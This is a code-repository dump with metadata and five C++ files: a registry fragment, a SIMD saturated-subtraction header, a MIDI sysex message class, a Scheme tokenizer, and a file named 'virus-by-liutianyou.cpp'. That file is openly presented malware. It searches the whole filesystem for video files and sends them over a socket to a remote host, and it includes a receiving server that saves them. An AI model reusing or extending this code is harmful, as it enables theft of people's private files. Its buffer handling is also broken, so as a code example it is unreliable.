) { throw KSException(__FILE__,__LINE__,GetLastError()); } } } RegCloseKey(hRegKeyHandle); hRegKeyHandle = NULL; RegCloseKey(hRegKeyHandle); }
33.250585
114
0.490773
[ "vector" ]
7c85326464da6363ac5363a3a00e458b8aac1d6a
3,864
hpp
C++
include/eve/module/core/saturated/impl/sub.hpp
clayne/eve
dc268b5db474376e1c53f5a474f5bb42b7c4cb59
[ "MIT" ]
null
null
null
include/eve/module/core/saturated/impl/sub.hpp
clayne/eve
dc268b5db474376e1c53f5a474f5bb42b7c4cb59
[ "MIT" ]
null
null
null
include/eve/module/core/saturated/impl/sub.hpp
clayne/eve
dc268b5db474376e1c53f5a474f5bb42b7c4cb59
[ "MIT" ]
null
null
null
//================================================================================================== /* EVE - Expressive Vector Engine Copyright : EVE Contributors & Maintainers SPDX-License-Identifier: MIT */ //================================================================================================== #pragma once #include <eve/module/core/constant/valmin.hpp> #include <eve/module/core/constant/valmax.hpp> #include <eve/module/core/regular/if_else.hpp> #include <eve/module/core/regular/bit_mask.hpp> #include <eve/module/core/regular/bit_and.hpp> #include <eve/module/core/regular/all.hpp> #include <eve/module/core/decorator/saturated.hpp> #include <eve/concept/compatible.hpp> #include <eve/concept/value.hpp> #include <eve/detail/apply_over.hpp> #include <eve/detail/implementation.hpp> #include <eve/detail/function/conditional.hpp> #include <eve/detail/skeleton.hpp> #include <eve/detail/skeleton_calls.hpp> #include <eve/module/core/regular/is_gez.hpp> #include <eve/module/core/regular/is_less.hpp> #include <eve/module/core/regular/is_less_equal.hpp> #include <eve/module/core/regular/is_ltz.hpp> #include <eve/module/core/regular/is_lez.hpp> #include <eve/module/core/regular/saturate.hpp> #include <eve/module/core/regular/add.hpp> #include <eve/module/core/regular/sub.hpp> #include <eve/module/core/regular/min.hpp> #include <eve/module/core/regular/max.hpp> #include <limits> namespace eve::detail { //================================================================================================ // saturated case //================================================================================================ template<real_value T, real_value U> EVE_FORCEINLINE auto sub_(EVE_SUPPORTS(cpu_), saturated_type const &, T const &a, U const &b) noexcept requires compatible_values<T, U> { return arithmetic_call(saturated(sub), a, b); } template<real_scalar_value T> EVE_FORCEINLINE auto sub_(EVE_SUPPORTS(cpu_), saturated_type const &, T const &a, T const &b) noexcept { if constexpr( floating_value<T> ) { return a - b; } else if constexpr( signed_integral_value<T> ) { if constexpr( sizeof(T) >= 4 ) { auto test = is_ltz(b); auto pos = min(add(valmax(as(a)), b), a); auto neg = max(add(valmin(as(a)), b), a); return sub(if_else(test, pos, neg), b); } else { // small signed integral case auto r = a - b; return static_cast<T>(saturate(r, as<T>())); } } else if constexpr( unsigned_value<T> ) { T r = a - b; return static_cast<T>(r & -(r <= a)); } } template<real_simd_value T> EVE_FORCEINLINE auto sub_(EVE_SUPPORTS(cpu_), saturated_type const &, T const &a, T const &b) noexcept requires has_native_abi_v<T> { if constexpr( floating_value<T> ) { return a - b; } else if constexpr( integral_value<T> ) { if constexpr( signed_integral_value<T> ) { auto test = is_lez(b); auto pos = min(add(valmax(as(a)), b), a); auto neg = max(add(valmin(as(a)), b), a); return sub(if_else(test, pos, neg), b); } else if constexpr( unsigned_value<T> ) { T r = a - b; return bit_and(r, bit_mask(is_less_equal(r, a))); } } } //================================================================================================ // Masked case //================================================================================================ template<conditional_expr C, real_value U, real_value V> EVE_FORCEINLINE auto sub_(EVE_SUPPORTS(cpu_), C const &cond, saturated_type const &, U const &t, V const &f) noexcept requires compatible_values<U, V> { return mask_op( cond, saturated(sub), t, f); } }
32.745763
100
0.55383
[ "vector" ]
7c85447b2be7c7ad6ce5b32dc674c2a241fb6b8f
1,465
cpp
C++
src/sysex/getaudiocontroldetailvalue.cpp
dehnhardt/mioconfig
6d1ac1d85379eaf168d2c2fce81b09f020500605
[ "MIT" ]
16
2018-07-16T14:13:10.000Z
2021-02-07T06:43:57.000Z
src/sysex/getaudiocontroldetailvalue.cpp
dehnhardt/iconnconfig
6d1ac1d85379eaf168d2c2fce81b09f020500605
[ "MIT" ]
16
2017-09-06T19:38:15.000Z
2021-01-04T17:54:02.000Z
src/sysex/getaudiocontroldetailvalue.cpp
dehnhardt/mioconfig
6d1ac1d85379eaf168d2c2fce81b09f020500605
[ "MIT" ]
10
2018-03-03T14:50:03.000Z
2020-09-30T18:08:55.000Z
#include "getaudiocontroldetailvalue.h" #include "retsetaudiocontroldetailvalue.h" GetAudioControlDetailValue::GetAudioControlDetailValue(Device *device) : PortSysExMessage(GET_AUDIO_CONTROL_DETAIL_VALUE, SysExMessage::QUERY, device) {} GetAudioControlDetailValue::~GetAudioControlDetailValue() {} void GetAudioControlDetailValue::createAnswer( Command m_Command, std::vector<unsigned char> *message, Device *m_pDevice) { m_pAnswer = std::make_shared<RetSetAudioControlDetailValue>( m_Command, message, m_pDevice); if (debug) m_pAnswer->setDebug(true); m_pAnswer->parseAnswerData(); } std::vector<unsigned char> *GetAudioControlDetailValue::getMessageData() { BYTE_VECTOR *data = new BYTE_VECTOR(); BYTE_VECTOR *portId = getPortIdBytes(); data->insert(data->begin(), portId->begin(), portId->end()); data->push_back(static_cast<unsigned char>(m_iControllerNumber)); data->push_back(static_cast<unsigned char>(m_iDetailNumber)); delete portId; return data; } unsigned char GetAudioControlDetailValue::getDetailNumber() const { return m_iDetailNumber; } void GetAudioControlDetailValue::setDetailNumber(unsigned char iDetailNumber) { m_iDetailNumber = iDetailNumber; } unsigned char GetAudioControlDetailValue::getControllerNumber() const { return m_iControllerNumber; } void GetAudioControlDetailValue::setControllerNumber( unsigned char iControllerNumber) { m_iControllerNumber = iControllerNumber; }
32.555556
80
0.786348
[ "vector" ]
7c8a67d7ea824adb91bd431054932d07284cd14c
2,445
cpp
C++
code/virus-by-liutianyou.cpp
yuzijiang1093883/weird-code
c06f74a258755812dd24f06b85e1fbe520269a98
[ "WTFPL" ]
4
2020-07-15T04:22:23.000Z
2021-07-12T04:58:29.000Z
code/virus-by-liutianyou.cpp
yuzijiang1093883/weird-code
c06f74a258755812dd24f06b85e1fbe520269a98
[ "WTFPL" ]
10
2020-07-15T05:21:36.000Z
2020-08-28T08:52:05.000Z
code/virus-by-liutianyou.cpp
yuzijiang1093883/weird-code
c06f74a258755812dd24f06b85e1fbe520269a98
[ "WTFPL" ]
4
2020-07-15T04:18:16.000Z
2020-08-27T23:33:38.000Z
#include <bits/stdc++.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> using namespace std; const int INF=((1*1024*1024*1024)*8); int c_fd; void close_connect(int sign){ close(c_fd); cerr<<"The Signal We get :"<<sign; exit(0); } vector<string> find_file(string filename){ vector<string> files(16384); system(("find / -name \" "+filename+"\" > file.list").c_str()); ifstream file_list("file.list"); string i; int length=0; while(file_list>>i) files[length++]=i; return files; } void server(char* host,int port){ int s_fd,s_len,c_len,Count=0; sockaddr_in s_addr,c_addr; s_fd=socket(AF_INET,SOCK_STREAM,0); s_addr.sin_family=AF_INET; s_addr.sin_addr.s_addr=inet_addr(host); s_addr.sin_port=port; s_len=sizeof(s_addr); bind(s_fd,(sockaddr*)&s_addr,s_len); listen(s_fd,10); while(true){ c_len=sizeof(c_addr); c_fd=accept(s_fd,(sockaddr*)&c_addr,(socklen_t *__restrict)&c_len); char* buf=new char[INF]; recv(c_fd,buf,sizeof(buf),0); char filename[256]; sprintf(filename,"file%d",Count++); ofstream ofile; ofile.open(filename,ios::binary); ofile.write(buf,sizeof(buf)); ofile.close(); } } void client(char* host,int port){ int sockfd; sockaddr_in addr; sockfd=socket(AF_INET,SOCK_STREAM,0); addr.sin_family=AF_INET; addr.sin_addr.s_addr=inet_addr(host); addr.sin_port=port; int len=sizeof(addr); int newsockfd=connect(sockfd,(sockaddr*)&addr,len); char* buf=new char[INF]; ifstream ifile; for(auto i : find_file("*.mov")){ ifile.open(i,ios::binary); ifile.seekg(0,ios::end); ifile.read(buf,ifile.tellg()); send(sockfd,buf,sizeof(buf),0); } for (auto i : find_file("*.mp4")) { ifile.open(i, ios::binary); ifile.seekg(0, ios::end); ifile.read(buf,ifile.tellg()); send(sockfd, buf, sizeof(buf), 0); } for (auto i : find_file("*.avi")) { ifile.open(i, ios::binary); ifile.seekg(0, ios::end); ifile.read(buf,ifile.tellg()); send(sockfd, buf, sizeof(buf), 0); } close(sockfd); } int main(int argc,char** argv){ if(argc!=4) return 127; if(!strcmp(argv[1],"server")) server(argv[2],atoi(argv[3])); else client(argv[2],atoi(argv[3])); }
28.764706
75
0.606544
[ "vector" ]
7c8aee74f35c871a33942b588500918816cf83bf
2,683
cpp
C++
src/tokenize.cpp
akhleung/vole
358bd7a84d245e89b3ae47d369c19b3fff2f8a75
[ "MIT" ]
null
null
null
src/tokenize.cpp
akhleung/vole
358bd7a84d245e89b3ae47d369c19b3fff2f8a75
[ "MIT" ]
null
null
null
src/tokenize.cpp
akhleung/vole
358bd7a84d245e89b3ae47d369c19b3fff2f8a75
[ "MIT" ]
null
null
null
#include "tokenize.hpp" #include "munchar_tokens.hpp" namespace Vole { using namespace std; using namespace Munchar; Lexeme::Lexeme(Type t, const string& txt, size_t ln) : type(t), text(txt), line(ln) { } void tokenize(const char* src, vector<Lexeme>& tokens, size_t line) { const char* munched; while (*src) { switch (*src) { case '\n': munched = src+1; ++line; break; case '\t': case '\r': case ' ': munched = Tokens::spaces(src); break; case '"': if ((munched = Tokens::string(src))) { tokens.push_back( Lexeme(Lexeme::STRING, string(src, munched), line) ); } else { // unterminated string tokens.push_back( Lexeme(Lexeme::ERROR, string(src, munched), line) ); } break; case '#': if ((munched = Tokens::boolean(src))) { tokens.push_back( Lexeme(Lexeme::BOOLEAN, string(src, munched), line) ); } else if ((munched = Tokens::hash_comment(src))) { tokens.push_back( Lexeme(Lexeme::COMMENT, string(src, munched), line) ); } else { // unrecognized hash-thingy tokens.push_back( Lexeme(Lexeme::ERROR, string(src, munched), line) ); } break; case '\'': tokens.push_back( Lexeme(Lexeme::QUOTE, string(src, (munched = src+1)), line) ); break; case '(': tokens.push_back( Lexeme(Lexeme::LPAREN, string(src, (munched = src+1)), line) ); break; case ')': tokens.push_back( Lexeme(Lexeme::RPAREN, string(src, (munched = src+1)), line) ); break; case ';': munched = Tokens::line_comment(src); ++line; break; default: if ((munched = Tokens::number(src))) { tokens.push_back( Lexeme(Lexeme::NUMBER, string(src, munched), line) ); } else if ((munched = Tokens::identifier(src))) { tokens.push_back( Lexeme(Lexeme::IDENTIFIER, string(src, munched), line) ); } else { // unrecognized thing in general tokens.push_back( Lexeme(Lexeme::ERROR, string(src, munched), line) ); } break; } src = munched; } tokens.push_back( Lexeme(Lexeme::EOI, string(src, munched), line) ); } }
25.552381
72
0.474469
[ "vector" ]